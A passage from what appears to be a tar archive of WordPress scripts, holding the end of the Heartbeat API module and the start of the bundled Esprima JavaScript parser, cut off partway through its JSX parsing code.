newInterval ) { interval( newInterval ); } }).fail( function( jqXHR, textStatus, error ) { setErrorState( textStatus || 'unknown', jqXHR.status ); $document.trigger( 'heartbeat-error', [jqXHR, textStatus, error] ); wp.hooks.doAction( 'heartbeat.error', jqXHR, textStatus, error ); }); } /** * Schedules the next connection. * * Fires immediately if the connection time is longer than the interval. * * @since 3.8.0 * @access private * * @return {void} */ function scheduleNextTick() { var delta = time() - settings.lastTick, interval = settings.mainInterval; if ( settings.suspend ) { return; } if ( ! settings.hasFocus ) { interval = 120000; // 120 seconds. Post locks expire after 150 seconds. } else if ( settings.countdown > 0 && settings.tempInterval ) { interval = settings.tempInterval; settings.countdown--; if ( settings.countdown < 1 ) { settings.tempInterval = 0; } } if ( settings.minimalInterval && interval < settings.minimalInterval ) { interval = settings.minimalInterval; } window.clearTimeout( settings.beatTimer ); if ( delta < interval ) { settings.beatTimer = window.setTimeout( function() { connect(); }, interval - delta ); } else { connect(); } } /** * Sets the internal state when the browser window becomes hidden or loses focus. * * @since 3.6.0 * @access private * * @return {void} */ function blurred() { settings.hasFocus = false; } /** * Sets the internal state when the browser window becomes visible or is in focus. * * @since 3.6.0 * @access private * * @return {void} */ function focused() { settings.userActivity = time(); // Resume if suspended. settings.suspend = false; if ( ! settings.hasFocus ) { settings.hasFocus = true; scheduleNextTick(); } } /** * Runs when the user becomes active after a period of inactivity. * * @since 3.6.0 * @access private * * @return {void} */ function userIsActive() { settings.userActivityEvents = false; $document.off( '.wp-heartbeat-active' ); $('iframe').each( function( i, frame ) { if ( isLocalFrame( frame ) ) { $( frame.contentWindow ).off( '.wp-heartbeat-active' ); } }); focused(); } /** * Checks for user activity. * * Runs every 30 seconds. Sets 'hasFocus = true' if user is active and the window * is in the background. Sets 'hasFocus = false' if the user has been inactive * (no mouse or keyboard activity) for 5 minutes even when the window has focus. * * @since 3.8.0 * @access private * * @return {void} */ function checkUserActivity() { var lastActive = settings.userActivity ? time() - settings.userActivity : 0; // Throttle down when no mouse or keyboard activity for 5 minutes. if ( lastActive > 300000 && settings.hasFocus ) { blurred(); } // Suspend after 10 minutes of inactivity when suspending is enabled. // Always suspend after 60 minutes of inactivity. This will release the post lock, etc. if ( ( settings.suspendEnabled && lastActive > 600000 ) || lastActive > 3600000 ) { settings.suspend = true; } if ( ! settings.userActivityEvents ) { $document.on( 'mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active', function() { userIsActive(); }); $('iframe').each( function( i, frame ) { if ( isLocalFrame( frame ) ) { $( frame.contentWindow ).on( 'mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active', function() { userIsActive(); }); } }); settings.userActivityEvents = true; } } // Public methods. /** * Checks whether the window (or any local iframe in it) has focus, or the user * is active. * * @since 3.6.0 * @memberOf wp.heartbeat.prototype * * @return {boolean} True if the window or the user is active. */ function hasFocus() { return settings.hasFocus; } /** * Checks whether there is a connection error. * * @since 3.6.0 * * @memberOf wp.heartbeat.prototype * * @return {boolean} True if a connection error was found. */ function hasConnectionError() { return settings.connectionError; } /** * Connects as soon as possible regardless of 'hasFocus' state. * * Will not open two concurrent connections. If a connection is in progress, * will connect again immediately after the current connection completes. * * @since 3.8.0 * * @memberOf wp.heartbeat.prototype * * @return {void} */ function connectNow() { settings.lastTick = 0; scheduleNextTick(); } /** * Disables suspending. * * Should be used only when Heartbeat is performing critical tasks like * autosave, post-locking, etc. Using this on many screens may overload * the user's hosting account if several browser windows/tabs are left open * for a long time. * * @since 3.8.0 * * @memberOf wp.heartbeat.prototype * * @return {void} */ function disableSuspend() { settings.suspendEnabled = false; } /** * Gets/Sets the interval. * * When setting to 'fast' or 5, the interval is 5 seconds for the next 30 ticks * (for 2 minutes and 30 seconds) by default. In this case the number of 'ticks' * can be passed as second argument. If the window doesn't have focus, * the interval slows down to 2 minutes. * * @since 3.6.0 * * @memberOf wp.heartbeat.prototype * * @param {string|number} speed Interval: 'fast' or 5, 15, 30, 60, 120. * Fast equals 5. * @param {string} ticks Tells how many ticks before the interval reverts * back. Used with speed = 'fast' or 5. * * @return {number} Current interval in seconds. */ function interval( speed, ticks ) { var newInterval, oldInterval = settings.tempInterval ? settings.tempInterval : settings.mainInterval; if ( speed ) { switch ( speed ) { case 'fast': case 5: newInterval = 5000; break; case 15: newInterval = 15000; break; case 30: newInterval = 30000; break; case 60: newInterval = 60000; break; case 120: newInterval = 120000; break; case 'long-polling': // Allow long polling (experimental). settings.mainInterval = 0; return 0; default: newInterval = settings.originalInterval; } if ( settings.minimalInterval && newInterval < settings.minimalInterval ) { newInterval = settings.minimalInterval; } if ( 5000 === newInterval ) { ticks = parseInt( ticks, 10 ) || 30; ticks = ticks < 1 || ticks > 30 ? 30 : ticks; settings.countdown = ticks; settings.tempInterval = newInterval; } else { settings.countdown = 0; settings.tempInterval = 0; settings.mainInterval = newInterval; } /* * Change the next connection time if new interval has been set. * Will connect immediately if the time since the last connection * is greater than the new interval. */ if ( newInterval !== oldInterval ) { scheduleNextTick(); } } return settings.tempInterval ? settings.tempInterval / 1000 : settings.mainInterval / 1000; } /** * Enqueues data to send with the next XHR. * * As the data is send asynchronously, this function doesn't return the XHR * response. To see the response, use the custom jQuery event 'heartbeat-tick' * on the document, example: * $(document).on( 'heartbeat-tick.myname', function( event, data, textStatus, jqXHR ) { * // code * }); * If the same 'handle' is used more than once, the data is not overwritten when * the third argument is 'true'. Use `wp.heartbeat.isQueued('handle')` to see if * any data is already queued for that handle. * * @since 3.6.0 * * @memberOf wp.heartbeat.prototype * * @param {string} handle Unique handle for the data, used in PHP to * receive the data. * @param {*} data The data to send. * @param {boolean} noOverwrite Whether to overwrite existing data in the queue. * * @return {boolean} True if the data was queued. */ function enqueue( handle, data, noOverwrite ) { if ( handle ) { if ( noOverwrite && this.isQueued( handle ) ) { return false; } settings.queue[handle] = data; return true; } return false; } /** * Checks if data with a particular handle is queued. * * @since 3.6.0 * * @param {string} handle The handle for the data. * * @return {boolean} True if the data is queued with this handle. */ function isQueued( handle ) { if ( handle ) { return settings.queue.hasOwnProperty( handle ); } } /** * Removes data with a particular handle from the queue. * * @since 3.7.0 * * @memberOf wp.heartbeat.prototype * * @param {string} handle The handle for the data. * * @return {void} */ function dequeue( handle ) { if ( handle ) { delete settings.queue[handle]; } } /** * Gets data that was enqueued with a particular handle. * * @since 3.7.0 * * @memberOf wp.heartbeat.prototype * * @param {string} handle The handle for the data. * * @return {*} The data or undefined. */ function getQueuedItem( handle ) { if ( handle ) { return this.isQueued( handle ) ? settings.queue[handle] : undefined; } } initialize(); // Expose public methods. return { hasFocus: hasFocus, connectNow: connectNow, disableSuspend: disableSuspend, interval: interval, hasConnectionError: hasConnectionError, enqueue: enqueue, dequeue: dequeue, isQueued: isQueued, getQueuedItem: getQueuedItem }; }; /** * Ensure the global `wp` object exists. * * @namespace wp */ window.wp = window.wp || {}; /** * Contains the Heartbeat API. * * @namespace wp.heartbeat * @type {Heartbeat} */ window.wp.heartbeat = new Heartbeat(); }( jQuery, window )); js/codemirror/esprima.js000064400001051015147177035020011334 0ustar00(function webpackUniversalModuleDefinition(root, factory) { /* istanbul ignore next */ if(typeof exports === 'object' && typeof module === 'object') module.exports = factory(); else if(typeof define === 'function' && define.amd) define([], factory); /* istanbul ignore next */ else if(typeof exports === 'object') exports["esprima"] = factory(); else root["esprima"] = factory(); })(this, function() { return /******/ (function(modules) { // webpackBootstrap /******/ // The module cache /******/ var installedModules = {}; /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /* istanbul ignore if */ /******/ if(installedModules[moduleId]) /******/ return installedModules[moduleId].exports; /******/ // Create a new module (and put it into the cache) /******/ var module = installedModules[moduleId] = { /******/ exports: {}, /******/ id: moduleId, /******/ loaded: false /******/ }; /******/ // Execute the module function /******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); /******/ // Flag the module as loaded /******/ module.loaded = true; /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ // expose the modules object (__webpack_modules__) /******/ __webpack_require__.m = modules; /******/ // expose the module cache /******/ __webpack_require__.c = installedModules; /******/ // __webpack_public_path__ /******/ __webpack_require__.p = ""; /******/ // Load entry module and return exports /******/ return __webpack_require__(0); /******/ }) /************************************************************************/ /******/ ([ /* 0 */ /***/ function(module, exports, __webpack_require__) { "use strict"; /* Copyright JS Foundation and other contributors, https://js.foundation/ Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ Object.defineProperty(exports, "__esModule", { value: true }); var comment_handler_1 = __webpack_require__(1); var jsx_parser_1 = __webpack_require__(3); var parser_1 = __webpack_require__(8); var tokenizer_1 = __webpack_require__(15); function parse(code, options, delegate) { var commentHandler = null; var proxyDelegate = function (node, metadata) { if (delegate) { delegate(node, metadata); } if (commentHandler) { commentHandler.visit(node, metadata); } }; var parserDelegate = (typeof delegate === 'function') ? proxyDelegate : null; var collectComment = false; if (options) { collectComment = (typeof options.comment === 'boolean' && options.comment); var attachComment = (typeof options.attachComment === 'boolean' && options.attachComment); if (collectComment || attachComment) { commentHandler = new comment_handler_1.CommentHandler(); commentHandler.attach = attachComment; options.comment = true; parserDelegate = proxyDelegate; } } var isModule = false; if (options && typeof options.sourceType === 'string') { isModule = (options.sourceType === 'module'); } var parser; if (options && typeof options.jsx === 'boolean' && options.jsx) { parser = new jsx_parser_1.JSXParser(code, options, parserDelegate); } else { parser = new parser_1.Parser(code, options, parserDelegate); } var program = isModule ? parser.parseModule() : parser.parseScript(); var ast = program; if (collectComment && commentHandler) { ast.comments = commentHandler.comments; } if (parser.config.tokens) { ast.tokens = parser.tokens; } if (parser.config.tolerant) { ast.errors = parser.errorHandler.errors; } return ast; } exports.parse = parse; function parseModule(code, options, delegate) { var parsingOptions = options || {}; parsingOptions.sourceType = 'module'; return parse(code, parsingOptions, delegate); } exports.parseModule = parseModule; function parseScript(code, options, delegate) { var parsingOptions = options || {}; parsingOptions.sourceType = 'script'; return parse(code, parsingOptions, delegate); } exports.parseScript = parseScript; function tokenize(code, options, delegate) { var tokenizer = new tokenizer_1.Tokenizer(code, options); var tokens; tokens = []; try { while (true) { var token = tokenizer.getNextToken(); if (!token) { break; } if (delegate) { token = delegate(token); } tokens.push(token); } } catch (e) { tokenizer.errorHandler.tolerate(e); } if (tokenizer.errorHandler.tolerant) { tokens.errors = tokenizer.errors(); } return tokens; } exports.tokenize = tokenize; var syntax_1 = __webpack_require__(2); exports.Syntax = syntax_1.Syntax; // Sync with *.json manifests. exports.version = '4.0.0'; /***/ }, /* 1 */ /***/ function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var syntax_1 = __webpack_require__(2); var CommentHandler = (function () { function CommentHandler() { this.attach = false; this.comments = []; this.stack = []; this.leading = []; this.trailing = []; } CommentHandler.prototype.insertInnerComments = function (node, metadata) { // innnerComments for properties empty block // `function a() {/** comments **\/}` if (node.type === syntax_1.Syntax.BlockStatement && node.body.length === 0) { var innerComments = []; for (var i = this.leading.length - 1; i >= 0; --i) { var entry = this.leading[i]; if (metadata.end.offset >= entry.start) { innerComments.unshift(entry.comment); this.leading.splice(i, 1); this.trailing.splice(i, 1); } } if (innerComments.length) { node.innerComments = innerComments; } } }; CommentHandler.prototype.findTrailingComments = function (metadata) { var trailingComments = []; if (this.trailing.length > 0) { for (var i = this.trailing.length - 1; i >= 0; --i) { var entry_1 = this.trailing[i]; if (entry_1.start >= metadata.end.offset) { trailingComments.unshift(entry_1.comment); } } this.trailing.length = 0; return trailingComments; } var entry = this.stack[this.stack.length - 1]; if (entry && entry.node.trailingComments) { var firstComment = entry.node.trailingComments[0]; if (firstComment && firstComment.range[0] >= metadata.end.offset) { trailingComments = entry.node.trailingComments; delete entry.node.trailingComments; } } return trailingComments; }; CommentHandler.prototype.findLeadingComments = function (metadata) { var leadingComments = []; var target; while (this.stack.length > 0) { var entry = this.stack[this.stack.length - 1]; if (entry && entry.start >= metadata.start.offset) { target = entry.node; this.stack.pop(); } else { break; } } if (target) { var count = target.leadingComments ? target.leadingComments.length : 0; for (var i = count - 1; i >= 0; --i) { var comment = target.leadingComments[i]; if (comment.range[1] <= metadata.start.offset) { leadingComments.unshift(comment); target.leadingComments.splice(i, 1); } } if (target.leadingComments && target.leadingComments.length === 0) { delete target.leadingComments; } return leadingComments; } for (var i = this.leading.length - 1; i >= 0; --i) { var entry = this.leading[i]; if (entry.start <= metadata.start.offset) { leadingComments.unshift(entry.comment); this.leading.splice(i, 1); } } return leadingComments; }; CommentHandler.prototype.visitNode = function (node, metadata) { if (node.type === syntax_1.Syntax.Program && node.body.length > 0) { return; } this.insertInnerComments(node, metadata); var trailingComments = this.findTrailingComments(metadata); var leadingComments = this.findLeadingComments(metadata); if (leadingComments.length > 0) { node.leadingComments = leadingComments; } if (trailingComments.length > 0) { node.trailingComments = trailingComments; } this.stack.push({ node: node, start: metadata.start.offset }); }; CommentHandler.prototype.visitComment = function (node, metadata) { var type = (node.type[0] === 'L') ? 'Line' : 'Block'; var comment = { type: type, value: node.value }; if (node.range) { comment.range = node.range; } if (node.loc) { comment.loc = node.loc; } this.comments.push(comment); if (this.attach) { var entry = { comment: { type: type, value: node.value, range: [metadata.start.offset, metadata.end.offset] }, start: metadata.start.offset }; if (node.loc) { entry.comment.loc = node.loc; } node.type = type; this.leading.push(entry); this.trailing.push(entry); } }; CommentHandler.prototype.visit = function (node, metadata) { if (node.type === 'LineComment') { this.visitComment(node, metadata); } else if (node.type === 'BlockComment') { this.visitComment(node, metadata); } else if (this.attach) { this.visitNode(node, metadata); } }; return CommentHandler; }()); exports.CommentHandler = CommentHandler; /***/ }, /* 2 */ /***/ function(module, exports) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.Syntax = { AssignmentExpression: 'AssignmentExpression', AssignmentPattern: 'AssignmentPattern', ArrayExpression: 'ArrayExpression', ArrayPattern: 'ArrayPattern', ArrowFunctionExpression: 'ArrowFunctionExpression', AwaitExpression: 'AwaitExpression', BlockStatement: 'BlockStatement', BinaryExpression: 'BinaryExpression', BreakStatement: 'BreakStatement', CallExpression: 'CallExpression', CatchClause: 'CatchClause', ClassBody: 'ClassBody', ClassDeclaration: 'ClassDeclaration', ClassExpression: 'ClassExpression', ConditionalExpression: 'ConditionalExpression', ContinueStatement: 'ContinueStatement', DoWhileStatement: 'DoWhileStatement', DebuggerStatement: 'DebuggerStatement', EmptyStatement: 'EmptyStatement', ExportAllDeclaration: 'ExportAllDeclaration', ExportDefaultDeclaration: 'ExportDefaultDeclaration', ExportNamedDeclaration: 'ExportNamedDeclaration', ExportSpecifier: 'ExportSpecifier', ExpressionStatement: 'ExpressionStatement', ForStatement: 'ForStatement', ForOfStatement: 'ForOfStatement', ForInStatement: 'ForInStatement', FunctionDeclaration: 'FunctionDeclaration', FunctionExpression: 'FunctionExpression', Identifier: 'Identifier', IfStatement: 'IfStatement', ImportDeclaration: 'ImportDeclaration', ImportDefaultSpecifier: 'ImportDefaultSpecifier', ImportNamespaceSpecifier: 'ImportNamespaceSpecifier', ImportSpecifier: 'ImportSpecifier', Literal: 'Literal', LabeledStatement: 'LabeledStatement', LogicalExpression: 'LogicalExpression', MemberExpression: 'MemberExpression', MetaProperty: 'MetaProperty', MethodDefinition: 'MethodDefinition', NewExpression: 'NewExpression', ObjectExpression: 'ObjectExpression', ObjectPattern: 'ObjectPattern', Program: 'Program', Property: 'Property', RestElement: 'RestElement', ReturnStatement: 'ReturnStatement', SequenceExpression: 'SequenceExpression', SpreadElement: 'SpreadElement', Super: 'Super', SwitchCase: 'SwitchCase', SwitchStatement: 'SwitchStatement', TaggedTemplateExpression: 'TaggedTemplateExpression', TemplateElement: 'TemplateElement', TemplateLiteral: 'TemplateLiteral', ThisExpression: 'ThisExpression', ThrowStatement: 'ThrowStatement', TryStatement: 'TryStatement', UnaryExpression: 'UnaryExpression', UpdateExpression: 'UpdateExpression', VariableDeclaration: 'VariableDeclaration', VariableDeclarator: 'VariableDeclarator', WhileStatement: 'WhileStatement', WithStatement: 'WithStatement', YieldExpression: 'YieldExpression' }; /***/ }, /* 3 */ /***/ function(module, exports, __webpack_require__) { "use strict"; /* istanbul ignore next */ var __extends = (this && this.__extends) || (function () { var extendStatics = Object.setPrototypeOf || ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; }; return function (d, b) { extendStatics(d, b); function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); }; })(); Object.defineProperty(exports, "__esModule", { value: true }); var character_1 = __webpack_require__(4); var JSXNode = __webpack_require__(5); var jsx_syntax_1 = __webpack_require__(6); var Node = __webpack_require__(7); var parser_1 = __webpack_require__(8); var token_1 = __webpack_require__(13); var xhtml_entities_1 = __webpack_require__(14); token_1.TokenName[100 /* Identifier */] = 'JSXIdentifier'; token_1.TokenName[101 /* Text */] = 'JSXText'; // Fully qualified element name, e.g. returns "svg:path" function getQualifiedElementName(elementName) { var qualifiedName; switch (elementName.type) { case jsx_syntax_1.JSXSyntax.JSXIdentifier: var id = elementName; qualifiedName = id.name; break; case jsx_syntax_1.JSXSyntax.JSXNamespacedName: var ns = elementName; qualifiedName = getQualifiedElementName(ns.namespace) + ':' + getQualifiedElementName(ns.name); break; case jsx_syntax_1.JSXSyntax.JSXMemberExpression: var expr = elementName; qualifiedName = getQualifiedElementName(expr.object) + '.' + getQualifiedElementName(expr.property); break; /* istanbul ignore next */ default: break; } return qualifiedName; } var JSXParser = (function (_super) { __extends(JSXParser, _super); function JSXParser(code, options, delegate) { return _super.call(this, code, options, delegate) || this; } JSXParser.prototype.parsePrimaryExpression = function () { return this.match('<') ? this.parseJSXRoot() : _super.prototype.parsePrimaryExpression.call(this); }; JSXParser.prototype.startJSX = function () { // Unwind the scanner before the lookahead token. this.scanner.index = this.startMarker.index; this.scanner.lineNumber = this.startMarker.line; this.scanner.lineStart = this.startMarker.index - this.startMarker.column; }; JSXParser.prototype.finishJSX = function () { // Prime the next lookahead. this.nextToken(); }; JSXParser.prototype.reenterJSX = function () { this.startJSX(); this.expectJSX('}'); // Pop the closing '}' added from the lookahead. if (this.config.tokens) { this.tokens.pop(); } }; JSXParser.prototype.createJSXNode = function () { this.collectComments(); return { index: this.scanner.index, line: this.scanner.lineNumber, column: this.scanner.index - this.scanner.lineStart }; }; JSXParser.prototype.createJSXChildNode = function () { return { index: this.scanner.index, line: this.scanner.lineNumber, column: this.scanner.index - this.scanner.lineStart }; }; JSXParser.prototype.scanXHTMLEntity = function (quote) { var result = '&'; var valid = true; var terminated = false; var numeric = false; var hex = false; while (!this.scanner.eof() && valid && !terminated) { var ch = this.scanner.source[this.scanner.index]; if (ch === quote) { break; } terminated = (ch === ';'); result += ch; ++this.scanner.index; if (!terminated) { switch (result.length) { case 2: // e.g. '{' numeric = (ch === '#'); break; case 3: if (numeric) { // e.g. 'A' hex = (ch === 'x'); valid = hex || character_1.Character.isDecimalDigit(ch.charCodeAt(0)); numeric = numeric && !hex; } break; default: valid = valid && !(numeric && !character_1.Character.isDecimalDigit(ch.charCodeAt(0))); valid = valid && !(hex && !character_1.Character.isHexDigit(ch.charCodeAt(0))); break; } } } if (valid && terminated && result.length > 2) { // e.g. 'A' becomes just '#x41' var str = result.substr(1, result.length - 2); if (numeric && str.length > 1) { result = String.fromCharCode(parseInt(str.substr(1), 10)); } else if (hex && str.length > 2) { result = String.fromCharCode(parseInt('0' + str.substr(1), 16)); } else if (!numeric && !hex && xhtml_entities_1.XHTMLEntities[str]) { result = xhtml_entities_1.XHTMLEntities[str]; } } return result; }; // Scan the next JSX token. This replaces Scanner#lex when in JSX mode. JSXParser.prototype.lexJSX = function () { var cp = this.scanner.source.charCodeAt(this.scanner.index); // < > / : = { } if (cp === 60 || cp === 62 || cp === 47 || cp === 58 || cp === 61 || cp === 123 || cp === 125) { var value = this.scanner.source[this.scanner.index++]; return { type: 7 /* Punctuator */, value: value, lineNumber: this.scanner.lineNumber, lineStart: this.scanner.lineStart, start: this.scanner.index - 1, end: this.scanner.index }; } // " ' if (cp === 34 || cp === 39) { var start = this.scanner.index; var quote = this.scanner.source[this.scanner.index++]; var str = ''; while (!this.scanner.eof()) { var ch = this.scanner.source[this.scanner.index++]; if (ch === quote) { break; } else if (ch === '&') { str += this.scanXHTMLEntity(quote); } else { str += ch; } } return { type: 8 /* StringLiteral */, value: str, lineNumber: this.scanner.lineNumber, lineStart: this.scanner.lineStart, start: start, end: this.scanner.index }; } // ... or . if (cp === 46) { var n1 = this.scanner.source.charCodeAt(this.scanner.index + 1); var n2 = this.scanner.source.charCodeAt(this.scanner.index + 2); var value = (n1 === 46 && n2 === 46) ? '...' : '.'; var start = this.scanner.index; this.scanner.index += value.length; return { type: 7 /* Punctuator */, value: value, lineNumber: this.scanner.lineNumber, lineStart: this.scanner.lineStart, start: start, end: this.scanner.index }; } // ` if (cp === 96) { // Only placeholder, since it will be rescanned as a real assignment expression. return { type: 10 /* Template */, value: '', lineNumber: this.scanner.lineNumber, lineStart: this.scanner.lineStart, start: this.scanner.index, end: this.scanner.index }; } // Identifer can not contain backslash (char code 92). if (character_1.Character.isIdentifierStart(cp) && (cp !== 92)) { var start = this.scanner.index; ++this.scanner.index; while (!this.scanner.eof()) { var ch = this.scanner.source.charCodeAt(this.scanner.index); if (character_1.Character.isIdentifierPart(ch) && (ch !== 92)) { ++this.scanner.index; } else if (ch === 45) { // Hyphen (char code 45) can be part of an identifier. ++this.scanner.index; } else { break; } } var id = this.scanner.source.slice(start, this.scanner.index); return { type: 100 /* Identifier */, value: id, lineNumber: this.scanner.lineNumber, lineStart: this.scanner.lineStart, start: start, end: this.scanner.index }; } return this.scanner.lex(); }; JSXParser.prototype.nextJSXToken = function () { this.collectComments(); this.startMarker.index = this.scanner.index; this.startMarker.line = this.scanner.lineNumber; this.startMarker.column = this.scanner.index - this.scanner.lineStart; var token = this.lexJSX(); this.lastMarker.index = this.scanner.index; this.lastMarker.line = this.scanner.lineNumber; this.lastMarker.column = this.scanner.index - this.scanner.lineStart; if (this.config.tokens) { this.tokens.push(this.convertToken(token)); } return token; }; JSXParser.prototype.nextJSXText = function () { this.startMarker.index = this.scanner.index; this.startMarker.line = this.scanner.lineNumber; this.startMarker.column = this.scanner.index - this.scanner.lineStart; var start = this.scanner.index; var text = ''; while (!this.scanner.eof()) { var ch = this.scanner.source[this.scanner.index]; if (ch === '{' || ch === '<') { break; } ++this.scanner.index; text += ch; if (character_1.Character.isLineTerminator(ch.charCodeAt(0))) { ++this.scanner.lineNumber; if (ch === '\r' && this.scanner.source[this.scanner.index] === '\n') { ++this.scanner.index; } this.scanner.lineStart = this.scanner.index; } } this.lastMarker.index = this.scanner.index; this.lastMarker.line = this.scanner.lineNumber; this.lastMarker.column = this.scanner.index - this.scanner.lineStart; var token = { type: 101 /* Text */, value: text, lineNumber: this.scanner.lineNumber, lineStart: this.scanner.lineStart, start: start, end: this.scanner.index }; if ((text.length > 0) && this.config.tokens) { this.tokens.push(this.convertToken(token)); } return token; }; JSXParser.prototype.peekJSXToken = function () { var state = this.scanner.saveState(); this.scanner.scanComments(); var next = this.lexJSX(); this.scanner.restoreState(state); return next; }; // Expect the next JSX token to match the specified punctuator. // If not, an exception will be thrown. JSXParser.prototype.expectJSX = function (value) { var token = this.nextJSXToken(); if (token.type !== 7 /* Punctuator */ || token.value !== value) { this.throwUnexpectedToken(token); } }; // Return true if the next JSX token matches the specified punctuator. JSXParser.prototype.matchJSX = function (value) { var next = this.peekJSXToken(); return next.type === 7 /* Punctuator */ && next.value === value; }; JSXParser.prototype.parseJSXIdentifier = function () { var node = this.createJSXNode(); var token = this.nextJSXToken(); if (token.type !== 100 /* Identifier */) { this.throwUnexpectedToken(token); } return this.finalize(node, new JSXNode.JSXIdentifier(token.value)); }; JSXParser.prototype.parseJSXElementName = function () { var node = this.createJSXNode(); var elementName = this.parseJSXIdentifier(); if (this.matchJSX(':')) { var namespace = elementName; this.expectJSX(':'); var name_1 = this.parseJSXIdentifier(); elementName = this.finalize(node, new JSXNode.JSXNamespacedName(namespace, name_1)); } else if (this.matchJSX('.')) { while (this.matchJSX('.')) { var object = elementName; this.expectJSX('.'); var property = this.parseJSXIdentifier(); elementName = this.finalize(node, new JSXNode.JSXMemberExpression(object, property)); } } return elementName; }; JSXParser.prototype.parseJSXAttributeName = function () { var node = this.createJSXNode(); var attributeName; var identifier = this.parseJSXIdentifier(); if (this.matchJSX(':')) { var namespace = identifier; this.expectJSX(':'); var name_2 = this.parseJSXIdentifier(); attributeName = this.finalize(node, new JSXNode.JSXNamespacedName(namespace, name_2)); } else { attributeName = identifier; } return attributeName; }; JSXParser.prototype.parseJSXStringLiteralAttribute = function () { var node = this.createJSXNode(); var token = this.nextJSXToken(); if (token.type !== 8 /* StringLiteral */) { this.throwUnexpectedToken(token); } var raw = this.getTokenRaw(token); return this.finalize(node, new Node.Literal(token.value, raw)); }; JSXParser.prototype.parseJSXExpressionAttribute = function () { var node = this.createJSXNode(); this.expectJSX('{'); this.finishJSX(); if (this.match('}')) { this.tolerateError('JSX attributes must only be assigned a non-empty expression'); } var expression = this.parseAssignmentExpression(); this.reenterJSX(); return this.finalize(node, new JSXNode.JSXExpressionContainer(expression)); }; JSXParser.prototype.parseJSXAttributeValue = function () { return this.matchJSX('{') ? this.parseJSXExpressionAttribute() : this.matchJSX('<') ? this.parseJSXElement() : this.parseJSXStringLiteralAttribute(); }; JSXParser.prototype.parseJSXNameValueAttribute = function () { var node = this.createJSXNode(); var name = this.parseJSXAttributeName(); var value = null; if (this.matchJSX('=')) { this.expectJSX('='); value = this.parseJSXAttributeValue(); } return this.finalize(node, new JSXNode.JSXAttribute(name, value)); }; JSXParser.prototype.parseJSXSpreadAttribute = function () { var node = this.createJSXNode(); this.expectJSX('{'); this.expectJSX('...'); this.finishJSX(); var argument = this.parseAssignmentExpression(); this.reenterJSX(); return this.finalize(node, new JSXNode.JSXSpreadAttribute(argument)); }; JSXParser.prototype.parseJSXAttributes = function () { var attributes = []; while (!this.matchJSX('/') && !this.matchJSX('>')) { var attribute = this.matchJSX('{') ? this.parseJSXSpreadAttribute() : this.parseJSXNameValueAttribute(); attributes.push(attribute); } return attributes; }; JSXParser.prototype.parseJSXOpeningElement = function () { var node = this.createJSXNode(); this.expectJSX('<'); var name = this.parseJSXElementName(); var attributes = this.parseJSXAttributes(); var selfClosing = this.matchJSX('/'); if (selfClosing) { this.expectJSX('/'); } this.expectJSX('>'); return this.finalize(node, new JSXNode.JSXOpeningElement(name, selfClosing, attributes)); }; JSXParser.prototype.parseJSXBoundaryElement = function () { var node = this.createJSXNode(); this.expectJSX('<'); if (this.matchJSX('/')) { this.expectJSX('/'); var name_3 = this.parseJSXElementName(); this.expectJSX('>'); return this.finalize(node, new JSXNode.JSXClosingElement(name_3)); } var name = this.parseJSXElementName(); var attributes = this.parseJSXAttributes(); var selfClosing = this.matchJSX('/'); if (selfClosing) { this.expectJSX('/'); } this.expectJSX('>'); return this.finalize(node, new JSXNode.JSXOpeningElement(name, selfClosing, attributes)); }; JSXParser.prototype.parseJSXEmptyExpression = function () { var node = this.createJSXChildNode(); this.collectComments(); this.lastMarker.index = this.scanner.index; this.lastMarker.line = this.scanner.lineNumber; this.lastMarker.column = this.scanner.index - this.scanner.lineStart; return this.finalize(node, new JSXNode.JSXEmptyExpression()); }; JSXParser.prototype.parseJSXExpressionContainer = function () { var node = this.createJSXNode(); this.expectJSX('{'); var expression; if (this.matchJSX('}')) { expression = this.parseJSXEmptyExpression(); this.expectJSX('}'); } else { this.finishJSX(); expression = this.parseAssignmentExpression(); this.reenterJSX(); } return this.finalize(node, new JSXNode.JSXExpressionContainer(expression)); }; JSXParser.prototype.parseJSXChildren = function () { var children = []; while (!this.scanner.eof()) { var node = this.createJSXChildNode(); var token = this.nextJSXText(); if (token.start < token.end) { var raw = this.getTokenRaw(token); var child = this.finalize(node, new JSXNode.JSXText(token.value, raw)); children.push(child); } if (this.scanner.source[this.scanner.index] === '{') { var container = this.parseJSXExpressionContainer(); children.push(container); } else { break; } } return children; }; JSXParser.prototype.parseComplexJSXElement = function (el) { var stack = []; while (!this.scanner.eof()) { el.children = el.children.concat(this.parseJSXChildren()); var node = this.createJSXChildNode(); var element = this.parseJSXBoundaryElement(); if (element.type === jsx_syntax_1.JSXSyntax.JSXOpeningElement) { var opening = element; if (opening.selfClosing) { var child = this.finalize(node, new 